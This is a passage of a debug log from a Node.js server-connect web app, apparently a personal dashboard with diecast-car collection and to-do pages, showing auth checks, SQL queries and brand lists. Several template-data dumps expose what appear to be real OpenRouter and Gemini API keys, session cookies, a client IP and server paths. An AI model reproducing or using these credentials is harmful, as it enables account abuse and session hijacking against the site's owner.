2026-07-30T08:53:39.804Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-30T08:53:39.804Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-30T08:53:39.804Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-30T08:53:39.804Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-30T08:53:39.804Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-30T08:53:39.805Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-30T08:53:39.938Z server-connect:router Serving templateView /house-planner
2026-07-30T08:53:39.940Z server-connect:app Executing action step identify
2026-07-30T08:53:39.940Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:39.942Z server-connect:output identity: 14
2026-07-30T08:53:39.942Z server-connect:app Executing action step restrict
2026-07-30T08:53:39.942Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:39.945Z server-connect:output restrict: undefined
2026-07-30T08:53:39.945Z server-connect:router Render template house-planner
2026-07-30T08:53:39.945Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:40.175Z server-connect:router Serving templateView /
2026-07-30T08:53:40.176Z server-connect:app Executing action step identify
2026-07-30T08:53:40.176Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:40.176Z server-connect:output identity: 14
2026-07-30T08:53:40.176Z server-connect:app Executing action step restrict
2026-07-30T08:53:40.176Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:40.177Z server-connect:output restrict: undefined
2026-07-30T08:53:40.177Z server-connect:app Executing action step restrict
2026-07-30T08:53:40.177Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:40.178Z server-connect:output restrict: undefined
2026-07-30T08:53:40.178Z server-connect:router Render template layouts/main
2026-07-30T08:53:40.178Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14,
  content: '/index'
}
2026-07-30T08:53:43.490Z server-connect:router Serving templateView /diecast
2026-07-30T08:53:43.490Z server-connect:app Executing action step identify
2026-07-30T08:53:43.490Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.491Z server-connect:output identity: 14
2026-07-30T08:53:43.491Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.491Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:43.491Z server-connect:output restrict: undefined
2026-07-30T08:53:43.492Z server-connect:router Render template diecast
2026-07-30T08:53:43.492Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:43.722Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:43.724Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:43.725Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-30T08:53:43.727Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-30T08:53:43.727Z server-connect:app Executing action step identify
2026-07-30T08:53:43.727Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.727Z server-connect:output identity: 14
2026-07-30T08:53:43.727Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.727Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:43.728Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-30T08:53:43.728Z server-connect:output restrict: undefined
2026-07-30T08:53:43.729Z server-connect:app Executing action step select
2026-07-30T08:53:43.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:43.731Z server-connect:app Executing action step identify
2026-07-30T08:53:43.731Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.731Z server-connect:output identity: 14
2026-07-30T08:53:43.731Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.731Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:43.732Z server-connect:app Executing action step identify
2026-07-30T08:53:43.732Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.732Z server-connect:output identity: 14
2026-07-30T08:53:43.732Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.732Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:43.732Z server-connect:app Executing action step identify
2026-07-30T08:53:43.733Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.733Z server-connect:output identity: 14
2026-07-30T08:53:43.733Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.733Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:43.734Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-30T08:53:43.735Z server-connect:output restrict: undefined
2026-07-30T08:53:43.735Z server-connect:app Executing action step select
2026-07-30T08:53:43.736Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:43.736Z server-connect:output restrict: undefined
2026-07-30T08:53:43.736Z server-connect:app Executing action step select
2026-07-30T08:53:43.736Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-30T08:53:43.737Z server-connect:app Executing action step identify
2026-07-30T08:53:43.737Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.737Z server-connect:output identity: 14
2026-07-30T08:53:43.737Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.737Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:43.738Z server-connect:output restrict: undefined
2026-07-30T08:53:43.738Z server-connect:app Executing action step paged
2026-07-30T08:53:43.739Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-30T08:53:43.742Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-30T08:53:43.744Z server-connect:output restrict: undefined
2026-07-30T08:53:43.744Z server-connect:app Executing action step select
2026-07-30T08:53:43.744Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:43.746Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
